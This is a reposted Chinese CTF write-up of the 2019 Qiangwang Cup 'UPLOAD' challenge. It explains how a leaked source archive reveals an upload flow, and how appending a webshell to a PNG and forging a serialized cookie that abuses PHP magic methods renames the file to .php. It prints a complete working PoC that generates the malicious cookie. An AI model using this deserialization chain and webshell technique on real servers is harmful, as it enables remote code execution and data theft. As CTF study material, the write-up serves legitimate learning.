[強網杯 2019] UPLOAD


wp

大佬的 wp : https://www.zhaoj.in/read-5873.html

個人總結

  1. 只能上傳正常的圖片,非 png 格式會自動轉化為 png,圖片被保存在 upload 目錄下

  2. 本題是 www.tar.gz 泄露,源碼泄露總結

  3. 函數流程:

    1. 沒有登陸時,跳轉到 index.php,進行注冊登陸。login_check 函數將 cookie('user') 賦給 profile,然后 base64 解碼反序列化
    2. 在注冊頁面調用 login_check 函數檢查是否登陸,是則跳轉到 index.php/home ,否則進行注冊
    3. 在登陸頁面調用 login_check 函數檢查是否登陸,是則跳轉到 index.php/home ,否則進行登陸
    4. 已經登陸時,跳轉到 index.php/home 進行文件上傳操作
    5. 在進行上傳操作時,對請求頭中的 REMOTE_ADDR 進行 md5 加密並賦給 upload_menu ,然后創建以 upload_menu 命名的文件夾
    6. 然后進行登陸檢查,然后將文件的臨時副本的名稱賦給 filename_tmp,將文件名(不加后綴)進行 md5 加密后賦給 filename
    7. 然后進行后綴檢測,將 filename 的后綴賦給 ext,如果 ext 為 png 返回 1,否則返回 0
    8. 如果后綴是 png,檢查圖片內容,然后將 filename 賦給 filename_tmp,將圖片相對路徑賦給 img,執行 update_img 函數
    9. update_img 函數先進行 user 查詢,如果 user 沒有上傳過圖片並且 img 存在,則更新 user 表的 img 字段,並執行 update_cookie 函數
    10. update_cookie 函數將上傳圖片的 img 進行序列化和 base64 編碼后賦給 cookie 的 user
    11. profile 的 _call 和 _get 兩個魔術方法,分別書寫了在調用不可調用方法和不可調用成員變量時怎么做。__get 會直接從 except 里找,__call 會調用自身的 name 成員變量所指代的變量所指代的方法。
  4. 攻擊流程:

    1. 注冊,登陸。登陸之后有個跳轉的過程,這里就有了 cookie,如圖

      解碼后如圖

    2. 選擇上傳圖片,這個圖片就是合成的圖片馬,從 阿里巴巴矢量圖庫 下載一個 png 圖片,然后蟻劍生成一個 shell,用 hex 編輯器直接將 shell 內容放在圖片后面即可。這里使用阿里的圖庫是因為網上的 png 圖片可能 hex 格式不規范,導致后面改名之后會報 parse error

    3. 上傳圖片之后,會在 upload 目錄下生成一個 md5(REMOTE_ADDR) 文件,而且文件名也會被 md5 加密,這時 cookie['user'] 如圖

      解碼后如圖

    4. 使用 poc 生成的序列化結果修改 cookie['user'],刷新一次即可修改后綴。在服務器反序列化的過程中,在 Register 類中執行析構函數,調用 $profile 的 index() 函數,在 Profile 類的 __get 函數中定義了如果調用 index() 就去調用 img,而 __call 函數規定調用不可調用的函數時就調用 img 對應的函數,這樣就控制函數跳轉到 upload_img 函數,然后執行復制函數,將 png 改為 php,並刪除原有的 png,至此,后綴修改完成。

    5. 最后直接用蟻劍連接 shell,讀取配置文件中的數據庫信息,選擇 mysqli 驅動連接到數據庫,即可讀取 flag

  5. 最終 poc 如下,修改上傳圖片地址即可

<?php
namespace app\web\controller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
//修改地址即可
$profile->filename_tmp = "../public/upload/24ff17b3e72d90d210f3455327ea52f7/36a767e7b2d8d3bde3f881217a418ebb5.png";
$profile->filename = "../public/upload/24ff17b3e72d90d210f3455327ea52f7/6a767e7b2d8d3bde3f881217a418ebb5.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));
?>

mysqli 是 PHP 驅動數據庫的一種方式,以前是使用 mysql 的,而 mysqli 相比於 mysql 更加安全高效

copy(a, b),a 和 b 是文件路徑,將文件從 a 拷貝到 b,比如 copy("./1.png", "./1.php" ) 執行之后會存在兩個文件 1.png 和 1.php

unlink(a),a 是文件路徑,刪除文件 a


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM